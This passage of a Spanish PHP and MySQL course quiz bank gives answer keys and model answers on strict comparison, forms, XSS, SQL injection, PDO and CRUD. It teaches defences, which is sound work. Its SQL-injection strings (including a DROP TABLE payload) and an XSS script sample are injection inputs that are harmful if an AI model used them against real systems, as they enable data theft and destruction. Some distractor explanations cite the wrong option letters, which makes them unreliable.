Por qué: === es comparación ESTRICTA: compara el valor Y el tipo. 5 === '5' es false (mismo valor, diferente tipo). Es el operador recomendado en PHP moderno.Detalle: === es comparación ESTRICTA: compara el valor Y el tipo. 5 === '5' es false (mismo valor, diferente tipo). Es el operador recomendado en PHP moderno. | a) = (un solo igual) es asignación. | c) . es concatenación. -
¿Qué imprime este código? $x = 5; echo $x . '10';
- a) 15
- b) 510 ✓ correcta
- c) Error
- d) x510
Por qué: . concatena strings. $x es 5 (int), '10' es string. PHP convierte 5 a '5' y concatena: '5' . '10' = '510'. No es suma aritmética porque uno es string.Detalle: . concatena strings. $x es 5 (int), '10' es string. PHP convierte 5 a '5' y concatena: '5' . '10' = '510'. No es suma aritmética porque uno es string. | a) No es 15: . concatena, no suma. | c) No imprime 'x510' porque $x es 5, no la letra x. -
¿Cuál es la diferencia entre comillas simples y dobles en PHP?
- a) No hay diferencia.
- b) Las dobles interpolan variables ($nombre) y caracteres especiales; las simples no. ✓ correcta
- c) Las simples son para strings, las dobles para código.
- d) Las dobles son más rápidas.
Por qué: Las comillas dobles (") interpolan variables: "Hola $nombre" imprime 'Hola Ana'. Las simples (') no: 'Hola $nombre' imprime literalmente '$nombre'. Usa dobles cuando necesites interpolación, simples para texto fijo (son más rápidas).Detalle: Las comillas dobles (") interpolan variables: "Hola $nombre" imprime 'Hola Ana'. Las simples (') no: 'Hola $nombre' imprime literalmente '$nombre'. Usa dobles cuando necesites interpolación, simples para texto fijo (son más rápidas). | a) Sí hay diferencia: las dobles interpolan. | c) Las simples son más rápidas, no las dobles. -
¿Cómo accedes al segundo elemento de este array? $frutas = ['manzana', 'naranja', 'plátano'];
- a) $frutas(1)
- b) $frutas.1
- c) $frutas[1] ✓ correcta
- d) $frutas{1}
Por qué: En PHP, se accede a los elementos de un array con corchetes []: $frutas[1] es 'naranja' (los arrays empiezan en índice 0, así que [0] es 'manzana', [1] es 'naranja').Detalle: En PHP, se accede a los elementos de un array con corchetes []: $frutas[1] es 'naranja' (los arrays empiezan en índice 0, así que [0] es 'manzana', [1] es 'naranja'). | a) Los paréntesis () no son para acceder a arrays. | b) El punto . es para concatenar strings, no para acceder a arrays. -
¿Qué estructura de control es la MÁS USADA para iterar arrays en PHP?
- a) for
- b) while
- c) foreach ✓ correcta
- d) do-while
Por qué: foreach es el REY de la iteración en PHP: foreach ($array as $item) { }. Itera sobre cada elemento sin necesidad de manejar índices. Es el más legible y el más usado en código moderno.Detalle: foreach es el REY de la iteración en PHP: foreach ($array as $item) { }. Itera sobre cada elemento sin necesidad de manejar índices. Es el más legible y el más usado en código moderno. | a) for se usa cuando necesitas índices numéricos, pero para arrays asociativos foreach es mejor. | b) while es para condiciones generales, no específico para arrays. -
Si una variable está definida FUERA de una función, ¿puedo usarla DENTRO sin más?
- a) Sí, como en JavaScript.
- b) No, las variables dentro de funciones son LOCALES por defecto. Necesito 'global $variable' para acceder. ✓ correcta
- c) Solo si la variable es un número.
- d) Solo si la variable es un string.
Por qué: En PHP, las variables dentro de funciones son SIEMPRE locales. Para usar una variable global dentro, necesitas 'global $variable' o $GLOBALS['variable']. Esto es DIFERENTE de JavaScript, donde las funciones acceden a variables del scope exterior.Detalle: En PHP, las variables dentro de funciones son SIEMPRE locales. Para usar una variable global dentro, necesitas 'global $variable' o $GLOBALS['variable']. Esto es DIFERENTE de JavaScript, donde las funciones acceden a variables del scope exterior. | a) No es como JavaScript. | c) El tipo no afecta el scope. -
¿Cuál es la mejor práctica moderna en PHP 8+ para switch?
- a) Seguir usando switch con break.
- b) Usar match, que es más conciso y NO requiere break. ✓ correcta
- c) Usar if-elseif encadenados.
- d) Usar un array de funciones.
Por qué: La expresión match (PHP 8+) es como switch pero más concisa y SEGURA: no requiere break (cada rama es independiente), devuelve un valor, y usa comparación estricta (===). Es el reemplazo moderno de switch.Detalle: La expresión match (PHP 8+) es como switch pero más concisa y SEGURA: no requiere break (cada rama es independiente), devuelve un valor, y usa comparación estricta (===). Es el reemplazo moderno de switch. | a) switch con break sigue funcionando, pero match es mejor. | c) Array de funciones es para otros casos. -
¿Qué hace echo en PHP?
- a) Lee un archivo.
- b) Imprime texto o variables en la salida (la página HTML resultante). ✓ correcta
- c) Crea una variable.
- d) Termina el script.
Por qué: echo imprime en la salida: echo 'Hola' imprime 'Hola' en la página HTML que el navegador recibe. Equivale a console.log de JavaScript, pero en el servidor. La salida se incluye en el HTML de la respuesta HTTP.Detalle: echo imprime en la salida: echo 'Hola' imprime 'Hola' en la página HTML que el navegador recibe. Equivale a console.log de JavaScript, pero en el servidor. La salida se incluye en el HTML de la respuesta HTTP. | a) echo no lee archivos, eso es file_get_contents. | c) echo no termina el script, eso es exit o die.
Preguntas abiertas (3)
-
Explica la diferencia entre == y === en PHP. ¿Por qué la buena práctica es usar SIEMPRE ===? (3 a 5 líneas).
Respuesta modelo: == es comparación FLEXIBLE: PHP intenta convertir tipos antes de comparar. 0 == 'hola' es true (PHP convierte 'hola' a 0). === es comparación ESTRICTA: compara valor Y tipo. 0 === 'hola' es false. La buena práctica es usar SIEMPRE === porque previene bugs imposibles de detectar: 0 == false es true (ambos 'son cero'), pero 0 === false es false (diferente tipo). Estos bugs causan problemas en validaciones, comparaciones de IDs, y lógica de negocio.
-
Explica qué es un 'array asociativo' en PHP y cómo se accede a sus valores. Da un ejemplo con un usuario. (3 a 5 líneas).
Respuesta modelo: Un array asociativo es como un diccionario: en vez de índices numéricos (0, 1, 2), usa CLAVES con nombre (strings). Sintaxis: $usuario = ['nombre' => 'Ana', 'edad' => 25];. Para acceder: $usuario['nombre'] devuelve 'Ana'. Es la estructura MÁS USADA en PHP para representar datos (un usuario, un producto, una respuesta de API). PHP no distingue formalmente entre array indexado y asociativo: ambos son 'array', solo cambia el tipo de clave. foreach ($usuario as $clave => $valor) itera sobre todos los pares.
-
Imagina que recibes un error 'Undefined index: email' en PHP. ¿Qué significa y cómo lo solucionas? (3 a 5 líneas).
Respuesta modelo: El error 'Undefined index: email' significa que intentas acceder a $_POST['email'] (o $_GET, $_SESSION, etc.) pero la clave 'email' no existe en ese array. Esto pasa cuando el usuario no envía un campo del formulario, o accede a una URL sin el parámetro esperado. Soluciones: (1) Verificar si existe con isset($_POST['email']) antes de acceder. (2) Usar el operador null coalescing (PHP 7+): $email = $_POST['email'] ?? ''; que asigna cadena vacía si no existe. (3) Validar siempre los datos del usuario, nunca confiar en que están. Es uno de los errores más comunes en PHP para principiantes.
Preguntas de opción múltiple (10)
-
¿Cuál es la diferencia principal entre GET y POST?
- a) GET es más rápido.
- b) GET envía datos en la URL; POST los envía en el cuerpo de la petición (oculto). ✓ correcta
- c) POST es para imágenes.
- d) No hay diferencia.
Por qué: GET envía los datos del formulario en la URL (visibles, cacheables, ~2-8 KB límite). POST los envía en el cuerpo de la petición HTTP (ocultos, sin límite, no cacheables). GET es para LEER, POST es para ESCRIBIR.Detalle: GET envía los datos del formulario en la URL (visibles, cacheables, ~2-8 KB límite). POST los envía en el cuerpo de la petición HTTP (ocultos, sin límite, no cacheables). GET es para LEER, POST es para ESCRIBIR. | a) La velocidad no es la diferencia principal. | c) Sí hay diferencias importantes. -
¿En cuál superglobal encuentras los datos enviados por method='post'?
- a) $_GET
- b) $_POST ✓ correcta
- c) $_SERVER
- d) $_FILES
Por qué: $_POST es el array superglobal que contiene los datos enviados por method='post'. Si envías un formulario con method='get', los datos van a $_GET, no a $_POST.Detalle: $_POST es el array superglobal que contiene los datos enviados por method='post'. Si envías un formulario con method='get', los datos van a $_GET, no a $_POST. | a) $_GET es para method='get'. | c) $_FILES es para archivos subidos, no para datos normales. -
¿Por qué es importante sanitizar los datos ANTES de imprimirlos con echo?
- a) Para que se vean más bonitos.
- b) Para prevenir XSS: si el usuario inyecta <script>, htmlspecialchars lo convierte en texto visible en vez de ejecutarlo. ✓ correcta
- c) Para ahorrar memoria.
- d) No es importante.
Por qué: Si imprimes datos del usuario sin sanitizar, un atacante puede inyectar <script> que se EJECUTARÁ en el navegador de otros usuarios (XSS). htmlspecialchars() convierte < en < y > en >, mostrando el código como texto en vez de ejecutarlo.Detalle: Si imprimes datos del usuario sin sanitizar, un atacante puede inyectar <script> que se EJECUTARÁ en el navegador de otros usuarios (XSS). htmlspecialchars() convierte < en < y > en >, mostrando el código como texto en vez de ejecutarlo. | a) No es estético, es de seguridad. | c) Sí es muy importante. -
¿Qué hace el patrón POST-Redirect-GET (PRG)?
- a) Es lo mismo que hacer un GET normal.
- b) Después de procesar un POST, redirige a una URL GET para evitar reenvíos al recargar. ✓ correcta
- c) Es un patrón para hacer formularios rápidos.
- d) Es una función de PHP.
Por qué: El patrón PRG evita el problema de reenvío: después de procesar un POST (que suele modificar datos), redirige con header('Location: ...') a una URL GET. Así, si el usuario recarga la página, no se reenvía el formulario. Es la práctica profesional estándar.Detalle: El patrón PRG evita el problema de reenvío: después de procesar un POST (que suele modificar datos), redirige con header('Location: ...') a una URL GET. Así, si el usuario recarga la página, no se reenvía el formulario. Es la práctica profesional estándar. | a) No es lo mismo que un GET. | c) No es una función, es un patrón de diseño. -
¿Qué filtro usarías para validar un email en PHP?
- a) strpos($email, '@')
- b) filter_var($email, FILTER_VALIDATE_EMAIL) ✓ correcta
- c) preg_match('/@/', $email)
- d) strlen($email) > 0
Por qué: filter_var($email, FILTER_VALIDATE_EMAIL) es la forma estándar y robusta de validar emails en PHP. Usa las reglas RFC 5322. Retorna el email si es válido, o false si no.Detalle: filter_var($email, FILTER_VALIDATE_EMAIL) es la forma estándar y robusta de validar emails en PHP. Usa las reglas RFC 5322. Retorna el email si es válido, o false si no. | a) strpos solo verifica que tenga @, no que sea válido. | c) strlen no valida el formato. -
¿Por qué NUNCA debes usar $_REQUEST en producción?
- a) Es más lento.
- b) Combina $_GET, $_POST y $_COOKIE sin que sepas de dónde vino cada dato. Es un riesgo de seguridad. ✓ correcta
- c) Está deprecated.
- d) No funciona en PHP 8.
Por qué: $_REQUEST combina $_GET, $_POST y $_COOKIE según un orden de prioridad. Si tu formulario espera POST y un atacante envía GET, $_REQUEST te da el GET sin que lo sepas. Es un riesgo de seguridad. Usa $_POST o $_GET explícitamente.Detalle: $_REQUEST combina $_GET, $_POST y $_COOKIE según un orden de prioridad. Si tu formulario espera POST y un atacante envía GET, $_REQUEST te da el GET sin que lo sepas. Es un riesgo de seguridad. Usa $_POST o $_GET explícitamente. | a) La velocidad no es el problema. | c) Sí funciona en PHP 8. -
¿Qué hace htmlspecialchars($texto, ENT_QUOTES, 'UTF-8')?
- a) Cambia mayúsculas a minúsculas.
- b) Convierte < > " ' en entidades HTML, previniendo XSS al imprimirlos en la página. ✓ correcta
- c) Borra el texto.
- d) Cambia el encoding del archivo.
Por qué: htmlspecialchars convierte los caracteres especiales HTML (< > " & ') en entidades (< > " & '). Cuando el navegador los muestra como HTML, se ven como texto en vez de interpretarse como código. Es la defensa principal contra XSS.Detalle: htmlspecialchars convierte los caracteres especiales HTML (< > " & ') en entidades (< > " & '). Cuando el navegador los muestra como HTML, se ven como texto en vez de interpretarse como código. Es la defensa principal contra XSS. | a) No cambia mayúsculas, eso es strtolower/strtoupper. | c) No cambia el encoding del archivo, eso es mb_convert_encoding. -
Si envías un formulario con method='get', ¿qué pasa al recargar la página?
- a) El navegador pregunta si quieres reenviar.
- b) Los datos están en la URL, así que la página se recarga con los mismos datos. Es IDEMPOTENTE. ✓ correcta
- c) La página se rompe.
- d) PHP rechaza la petición.
Por qué: Con GET, los datos van en la URL. Al recargar, la URL se vuelve a procesar, pero como GET es idempotente, no se crea un nuevo recurso. Por eso GET es seguro para búsquedas y filtros: puedes recargar sin miedo.Detalle: Con GET, los datos van en la URL. Al recargar, la URL se vuelve a procesar, pero como GET es idempotente, no se crea un nuevo recurso. Por eso GET es seguro para búsquedas y filtros: puedes recargar sin miedo. | a) No pregunta, recarga con la misma URL. | c) PHP la procesa normal. -
¿Qué pasa si olvidas 'exit;' después de header('Location: exito.php');?
- a) La redirección falla.
- b) El script SIGUE EJECUTÁNDOSE después de enviar la cabecera. Puede causar duplicación de acciones. ✓ correcta
- c) PHP muestra un error.
- d) El navegador ignora la redirección.
Por qué: header() solo ENVÍA la cabecera al navegador, pero el script PHP sigue ejecutándose. Sin exit, el resto del código se ejecuta antes de que el navegador procese la redirección. Esto puede causar duplicación (ej: enviar el mismo email 2 veces). SIEMPRE exit después de un header Location.Detalle: header() solo ENVÍA la cabecera al navegador, pero el script PHP sigue ejecutándose. Sin exit, el resto del código se ejecuta antes de que el navegador procese la redirección. Esto puede causar duplicación (ej: enviar el mismo email 2 veces). SIEMPRE exit después de un header Location. | a) La redirección funciona, pero el script sigue ejecutándose. | c) El navegador sí procesa la redirección. -
En la sintaxis corta de PHP, ¿qué significa <?= $variable ?>?
- a) Una declaración if.
- b) Un echo abreviado: imprime el valor de $variable en el HTML. ✓ correcta
- c) Un comentario.
- d) Una asignación.
Por qué: <?= expresión ?> es el atajo moderno de <?php echo expresión; ?>. Imprime el valor en la salida HTML. Es la forma recomendada para mezclar PHP con HTML de forma legible.Detalle: <?= expresión ?> es el atajo moderno de <?php echo expresión; ?>. Imprime el valor en la salida HTML. Es la forma recomendada para mezclar PHP con HTML de forma legible. | a) No es if, eso es <?php if: ?>...<?php endif; ?>. | c) No es asignación, eso es <?php $x = 5; ?>.
Preguntas abiertas (3)
-
Explica qué es XSS y cómo te defiendes con htmlspecialchars. Da un ejemplo concreto. (3 a 5 líneas).
Respuesta modelo: XSS (Cross-Site Scripting) es cuando un atacante inyecta JavaScript malicioso en tu página que se EJECUTA en el navegador de otros usuarios. Ejemplo: si tu formulario acepta un nombre y haces echo $_POST['nombre'], un usuario malicioso puede escribir <script>alert('hack')</script>. Cuando OTRO usuario vea esa página, verá una alerta de 'hack'. Defensa: SIEMPRE htmlspecialchars($_POST['nombre'], ENT_QUOTES, 'UTF-8') antes de imprimir. Esto convierte < en < y > en >, mostrando el código como texto en vez de ejecutarlo. Es la defensa #1 contra XSS.
-
Explica el patrón POST-Redirect-GET (PRG) y por qué es mejor que solo procesar y mostrar el resultado. (3 a 5 líneas).
Respuesta modelo: PRG es un patrón: después de procesar un POST (que modifica datos), rediriges con header('Location: ...') a una URL GET. Beneficios: (1) Evita el problema de reenvío: si el usuario recarga, no se reenvía el formulario (no se duplican acciones); (2) La URL final es compartible y queda en el historial; (3) El botón 'Atrás' funciona correctamente. Sin PRG, el usuario ve 'Confirmación de reenvío de formulario' cada vez que recarga. Es la diferencia entre código amateur (que solo procesa y muestra) y profesional (que aplica PRG).
-
Estás construyendo un login en PHP. ¿Usarías GET o POST? ¿Por qué? ¿Qué validaciones harías? (3 a 5 líneas).
Respuesta modelo: Usaría POST, sin duda. GET pondría la contraseña en la URL: misitio.com/login?email=ana&pass=secreto, quedando en el historial, logs, y referrer header. Es un riesgo de seguridad GRAVE. Validaciones: (1) email válido con filter_var($email, FILTER_VALIDATE_EMAIL); (2) contraseña NO vacía (no valido el formato, eso lo hace la base de datos); (3) SIEMPRE HTTPS para que la contraseña vaya encriptada en tránsito; (4) usar password_verify() para comparar el hash de la BD, NUNCA comparar contraseñas en texto plano. Y un detalle extra: tras 3-5 intentos fallidos, bloquear temporalmente (rate limiting) para evitar fuerza bruta.
Preguntas de opción múltiple (10)
-
¿Qué es una clave primaria (PK)?
- a) Una columna de texto largo.
- b) Una columna que identifica CADA fila de forma única (como el id). ✓ correcta
- c) Una contraseña de la BD.
- d) Un tipo de dato.
Por qué: La clave primaria (PK) es una columna (o varias) que identifica CADA fila de forma única. Generalmente es un id INT AUTO_INCREMENT. No puede repetirse ni ser NULL.Detalle: La clave primaria (PK) es una columna (o varias) que identifica CADA fila de forma única. Generalmente es un id INT AUTO_INCREMENT. No puede repetirse ni ser NULL. | a) No es texto largo, es un identificador único. | c) No es un tipo de dato, es una restricción. -
¿Cuál de estos NO es un verbo SQL válido?
- a) SELECT
- b) INSERT
- c) UPDATE
- d) FETCH ✓ correcta
Por qué: Los 4 verbos SQL principales son SELECT, INSERT, UPDATE, DELETE. FETCH no es SQL: es un método de PDO en PHP para extraer resultados. En SQL sería SELECT.Detalle: Los 4 verbos SQL principales son SELECT, INSERT, UPDATE, DELETE. FETCH no es SQL: es un método de PDO en PHP para extraer resultados. En SQL sería SELECT. | a) SELECT es para leer. | b) INSERT es para crear. | c) UPDATE es para actualizar. -
Si haces DELETE FROM usuarios; sin WHERE, ¿qué pasa?
- a) Borra solo el primer registro.
- b) Borra TODOS los registros de la tabla usuarios. ✓ correcta
- c) Borra la tabla.
- d) No pasa nada.
Por qué: DELETE sin WHERE borra TODOS los registros de la tabla. Es uno de los errores más catastróficos. SIEMPRE usa WHERE, y antes haz un SELECT con el mismo WHERE para verificar.Detalle: DELETE sin WHERE borra TODOS los registros de la tabla. Es uno de los errores más catastróficos. SIEMPRE usa WHERE, y antes haz un SELECT con el mismo WHERE para verificar. | a) Borra todos, no solo uno. | c) Sí pasa, y es muy malo. -
¿Por qué es peligroso construir SQL concatenando strings del usuario?
- a) Es más lento.
- b) Porque es vulnerable a SQL Injection: un usuario puede inyectar código SQL malicioso que borre o robe datos. ✓ correcta
- c) Porque no funciona.
- d) No es peligroso.
Por qué: Si concatenas el input del usuario en el SQL, un atacante puede inyectar: email = "' OR '1'='1" y la query devuelve todos los usuarios. O peor: email = "'; DROP TABLE usuarios; --" y borra la tabla. Solución: SIEMPRE prepared statements con PDO.Detalle: Si concatenas el input del usuario en el SQL, un atacante puede inyectar: email = "' OR '1'='1" y la query devuelve todos los usuarios. O peor: email = "'; DROP TABLE usuarios; --" y borra la tabla. Solución: SIEMPRE prepared statements con PDO. | a) La velocidad no es el problema. | c) Sí es peligroso, muy peligroso. -
¿Qué cotejamiento debes usar al crear una base de datos moderna?
- a) latin1_swedish_ci
- b) utf8mb4_unicode_ci ✓ correcta
- c) ascii_general_ci
- d) utf16_unicode_ci
Por qué: utf8mb4_unicode_ci es el estándar moderno: soporta TODOS los caracteres Unicode (tildes, eñes, emojis). latin1 es antiguo y no soporta bien los caracteres especiales. utf8mb4 vs utf8: utf8 en MySQL es de 3 bytes y no soporta emojis; utf8mb4 es de 4 bytes y sí los soporta.Detalle: utf8mb4_unicode_ci es el estándar moderno: soporta TODOS los caracteres Unicode (tildes, eñes, emojis). latin1 es antiguo y no soporta bien los caracteres especiales. utf8mb4 vs utf8: utf8 en MySQL es de 3 bytes y no soporta emojis; utf8mb4 es de 4 bytes y sí los soporta. | a) latin1 no soporta bien los caracteres especiales. | c) utf16 es excesivo para web. -
¿Qué es una clave foránea (FK)?
- a) Una clave de seguridad.
- b) Una columna que apunta a la clave primaria de OTRA tabla, creando una relación. ✓ correcta
- c) Un tipo de cifrado.
- d) Una columna única.
Por qué: Una clave foránea (FK) es una columna que apunta a la PK de otra tabla. Ejemplo: prestamos.usuario_id apunta a usuarios.id. Esto crea la relación 'un préstamo pertenece a un usuario' y permite JOINS.Detalle: Una clave foránea (FK) es una columna que apunta a la PK de otra tabla. Ejemplo: prestamos.usuario_id apunta a usuarios.id. Esto crea la relación 'un préstamo pertenece a un usuario' y permite JOINS. | a) No es una clave de seguridad. | c) Una columna única sería UNIQUE, no FK. -
¿Qué opción de PDO es FUNDAMENTAL para que los errores sean catchables?
- a) PDO::ATTR_DEFAULT_FETCH_MODE
- b) PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION ✓ correcta
- c) PDO::MYSQL_ATTR_INIT_COMMAND
- d) PDO::ATTR_PERSISTENT
Por qué: PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION hace que los errores de PDO lancen EXCEPCIONES, que puedes atrapar con try/catch. Sin esto, los errores son warnings silenciosos, casi imposibles de detectar.Detalle: PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION hace que los errores de PDO lancen EXCEPCIONES, que puedes atrapar con try/catch. Sin esto, los errores son warnings silenciosos, casi imposibles de detectar. | a) ATTR_DEFAULT_FETCH_MODE es para formato de resultados. | c) ATTR_PERSISTENT es para conexiones persistentes. -
¿Qué son los 'prepared statements' en PDO?
- a) Una forma de acelerar las consultas.
- b) Consultas SQL pre-compiladas con placeholders (?) que separan el código SQL de los datos, previniendo SQL injection. ✓ correcta
- c) Un tipo de JOIN.
- d) Una forma de ordenar resultados.
Por qué: Los prepared statements pre-compilan la consulta SQL con placeholders (?). Los datos del usuario se pasan DESPUÉS, y NUNCA se interpretan como código SQL. Es la defensa #1 contra SQL injection. Ejemplo: $pdo->prepare('SELECT * FROM usuarios WHERE email = ?')->execute([$email]).Detalle: Los prepared statements pre-compilan la consulta SQL con placeholders (?). Los datos del usuario se pasan DESPUÉS, y NUNCA se interpretan como código SQL. Es la defensa #1 contra SQL injection. Ejemplo: $pdo->prepare('SELECT * FROM usuarios WHERE email = ?')->execute([$email]). | a) Sí son más rápidos (se compilan una vez), pero su ventaja principal es la seguridad. | c) No es para ordenar. -
¿Qué significa 'cotejamiento' en MySQL?
- a) El tipo de cifrado de la BD.
- b) El conjunto de reglas que define CÓMO se comparan y ordenan los caracteres (tildes, mayúsculas, etc.). ✓ correcta
- c) El tamaño máximo de la BD.
- d) La cantidad de usuarios.
Por qué: El cotejamiento (collation) define las reglas de comparación y ordenamiento de los caracteres. utf8mb4_unicode_ci trata 'á' = 'Á' = 'a' al comparar (case-insensitive). Si usas latin1, no soporta tildes correctamente. SIEMPRE usa utf8mb4_unicode_ci.Detalle: El cotejamiento (collation) define las reglas de comparación y ordenamiento de los caracteres. utf8mb4_unicode_ci trata 'á' = 'Á' = 'a' al comparar (case-insensitive). Si usas latin1, no soporta tildes correctamente. SIEMPRE usa utf8mb4_unicode_ci. | a) No es cifrado. | c) No es la cantidad de usuarios. -
Antes de hacer DELETE en producción, ¿qué deberías hacer?
- a) Nada, ejecutar directamente.
- b) Hacer un SELECT con el mismo WHERE para verificar QUÉ registros se van a afectar. ✓ correcta
- c) Hacer un backup completo de la BD.
- d) Desconectar la BD primero.
Por qué: Hacer un SELECT con el mismo WHERE antes del DELETE es una práctica PROFESIONAL: te muestra QUÉ registros se borrarán antes de borrarlos. Cuesta 10 segundos y puede salvarte de borrar lo que no debías. Mejor aún: hacer un backup completo, pero el SELECT con WHERE es lo mínimo.Detalle: Hacer un SELECT con el mismo WHERE antes del DELETE es una práctica PROFESIONAL: te muestra QUÉ registros se borrarán antes de borrarlos. Cuesta 10 segundos y puede salvarte de borrar lo que no debías. Mejor aún: hacer un backup completo, pero el SELECT con WHERE es lo mínimo. | a) No es profesional ejecutar a ciegas. | c) Desconectar la BD es innecesario.
Preguntas abiertas (3)
-
Explica qué es SQL injection y cómo te defiendes con prepared statements. Da un ejemplo. (3 a 5 líneas).
Respuesta modelo: SQL injection es cuando un atacante inyecta código SQL malicioso en una consulta. Ejemplo: si haces $sql = "SELECT * FROM usuarios WHERE email = '" . $_POST['email'] . "'"; y el usuario escribe ' OR '1'='1, la query se vuelve SELECT * FROM usuarios WHERE email = '' OR '1'='1', que devuelve TODOS los usuarios. Defensa: SIEMPRE prepared statements con PDO: $stmt = $pdo->prepare('SELECT * FROM usuarios WHERE email = ?'); $stmt->execute([$_POST['email']]); El '?' es un placeholder: los datos del usuario NUNCA se interpretan como SQL, solo como dato. Es la única forma segura de construir queries con input del usuario.
-
Explica qué es una clave foránea y por qué las bases de datos relacionales usan relaciones entre tablas en vez de guardar todo en una sola. (3 a 5 líneas).
Respuesta modelo: Una clave foránea (FK) es una columna en una tabla que apunta a la clave primaria (PK) de otra tabla, creando una relación. Ejemplo: prestamos.usuario_id apunta a usuarios.id. Las bases de datos relacionales usan relaciones para evitar REDUNDANCIA: si guardaras el nombre del usuario en cada préstamo, tendrías el mismo nombre repetido 100 veces, y si el usuario cambia su nombre tendrías que actualizarlo en 100 lugares. Con FK, el nombre está en una sola fila (usuarios) y se 'apunta' a ella desde otras tablas. Esto se llama normalización: cada dato se guarda UNA vez, en su lugar correcto.
-
Estás haciendo deploy de tu proyecto a un hosting con CPANEL. Enumera 5 cosas que debes verificar ANTES de darlo por terminado. (4 a 6 líneas).
Respuesta modelo: 1. Archivos en public_html/: que TODOS los archivos estén subidos, no solo index.php. 2. Base de datos creada: que exista en CPANEL > MySQL Databases, con su usuario y password. 3. conexion.php actualizado: que tenga el host, user, pass y dbname del hosting, no de localhost. 4. HTTPS activo: SSL/TLS Status > Let's Encrypt para que las contraseñas viajen encriptadas. 5. Cotejamiento utf8mb4: que la BD esté en utf8mb4_unicode_ci, no en latin1. Bonus: probar el flujo completo: login, registro, formulario, y que las tildes se vean bien en TODAS las páginas. Si algo falla, los logs de error de CPANEL (Metrics > Error Log) son tu mejor amigo.
Preguntas de opción múltiple (10)
-
¿Qué significa CRUD?
- a) Un tipo de framework.
- b) Create, Read, Update, Delete: las 4 operaciones básicas de datos. ✓ correcta
- c) Un lenguaje de programación.
- d) Una base de datos.
Por qué: CRUD = Create, Read, Update, Delete. Son las 4 operaciones básicas que toda aplicación que persiste datos necesita. Se mapean a INSERT, SELECT, UPDATE, DELETE en SQL.Detalle: CRUD = Create, Read, Update, Delete. Son las 4 operaciones básicas que toda aplicación que persiste datos necesita. Se mapean a INSERT, SELECT, UPDATE, DELETE en SQL. | a) No es un framework. | c) No es una base de datos. -
En el patrón CRUD, ¿qué operación usa INSERT?
- a) Read
- b) Update
- c) Create ✓ correcta
- d) Delete
Por qué: Create (Crear) usa INSERT: añade nuevos registros a la tabla. Read usa SELECT, Update usa UPDATE, Delete usa DELETE.Detalle: Create (Crear) usa INSERT: añade nuevos registros a la tabla. Read usa SELECT, Update usa UPDATE, Delete usa DELETE. | a) Read usa SELECT. | b) Update usa UPDATE. -
¿Por qué la paginación es importante?
- a) Para que la página se vea más bonita.
- b) Porque cargar miles de registros de una vez mata el rendimiento del servidor y del navegador. ✓ correcta
- c) Es un requisito legal.
- d) No es importante.
Por qué: Si tu tabla tiene 10,000 usuarios y los muestras todos en una sola página, el servidor tarda 30 segundos y el navegador se queda sin memoria. La paginación (LIMIT 20 OFFSET X) muestra solo 20 a la vez, manteniendo todo rápido.Detalle: Si tu tabla tiene 10,000 usuarios y los muestras todos en una sola página, el servidor tarda 30 segundos y el navegador se queda sin memoria. La paginación (LIMIT 20 OFFSET X) muestra solo 20 a la vez, manteniendo todo rápido. | a) Es por rendimiento, no estética. | c) Sí es muy importante. -
Para eliminar un registro, ¿qué método HTTP deberías usar?
- a) GET (un enlace).
- b) POST (un formulario con confirmación). ✓ correcta
- c) Cualquiera es válido.
- d) DELETE (que es el método HTTP específico).
Por qué: POST con formulario y confirmación. GET en un enlace es PELIGROSO: un clic accidental, un bot de Google, o un pre-fetch del navegador puede borrar tu registro sin querer. POST requiere intención explícita. Aunque HTTP tiene el método DELETE, en la práctica se usa POST porque los formularios HTML solo soportan GET y POST.Detalle: POST con formulario y confirmación. GET en un enlace es PELIGROSO: un clic accidental, un bot de Google, o un pre-fetch del navegador puede borrar tu registro sin querer. POST requiere intención explícita. Aunque HTTP tiene el método DELETE, en la práctica se usa POST porque los formularios HTML solo soportan GET y POST. | a) GET es peligroso para acciones destructivas. | c) DELETE no se usa directamente porque los formularios no lo soportan. -
¿Qué es 'soft delete'?
- a) Borrar el registro físicamente.
- b) Marcar el registro como inactivo (activo=FALSE) en vez de borrarlo, para poder recuperarlo después. ✓ correcta
- c) Borrar varios registros a la vez.
- d) Esconder el registro del usuario temporalmente.
Por qué: Soft delete es marcar el registro como inactivo (activo=FALSE) en vez de hacer DELETE. Los listados filtran WHERE activo=TRUE, así que el usuario 'no ve' los eliminados, pero los datos siguen en la BD para auditoría o recuperación. Es el patrón usado por Gmail (papelera), GitHub (issues cerrados), etc.Detalle: Soft delete es marcar el registro como inactivo (activo=FALSE) en vez de hacer DELETE. Los listados filtran WHERE activo=TRUE, así que el usuario 'no ve' los eliminados, pero los datos siguen en la BD para auditoría o recuperación. Es el patrón usado por Gmail (papelera), GitHub (issues cerrados), etc. | a) Eso es hard delete. | c) Es para siempre, no temporalmente. -
Si recibes ?id=X en la URL y X es un string como 'abc', ¿qué deberías hacer?
- a) Pasarlo directo a la query.
- b) Convertirlo a entero con (int) y validar que sea > 0. ✓ correcta
- c) Hacer un echo del id para debug.
- d) Lanzar un error 500.
Por qué: (int) $_GET['id'] fuerza la conversión a entero (si X es 'abc', (int) lo convierte a 0). Luego validas que sea > 0 antes de usarlo. Esto previene inyecciones y errores por inputs maliciosos o manipulados.Detalle: (int) $_GET['id'] fuerza la conversión a entero (si X es 'abc', (int) lo convierte a 0). Luego validas que sea > 0 antes de usarlo. Esto previene inyecciones y errores por inputs maliciosos o manipulados. | a) Pasarlo directo es inseguro. | c) 500 no es la respuesta correcta; es un error de input del usuario. -
Después de un INSERT/UPDATE/DELETE exitoso, ¿qué deberías hacer?
- a) Mostrar el mensaje de éxito en la misma página.
- b) Redirigir a otra URL con header('Location: ...') (patrón PRG). ✓ correcta
- c) Mostrar un JSON con el resultado.
- d) Nada.
Por qué: Patrón PRG (POST-Redirect-GET): después de modificar datos, redirige a otra URL. Esto evita el problema de reenvío al recargar (que duplicaría la operación) y deja una URL limpia y compartible.Detalle: Patrón PRG (POST-Redirect-GET): después de modificar datos, redirige a otra URL. Esto evita el problema de reenvío al recargar (que duplicaría la operación) y deja una URL limpia y compartible. | a) Mostrar en la misma página causa reenvío accidental. | c) Sin redirigir, hay riesgo de duplicación. -
¿Cuál es la diferencia entre 'paginación con OFFSET' y 'paginación con cursor'?
- a) No hay diferencia.
- b) OFFSET funciona bien hasta ~100K registros; cursor (WHERE id < último) es instantánea incluso con millones. ✓ correcta
- c) Cursor es más lento que OFFSET.
- d) OFFSET es para SQL Server, cursor para MySQL.
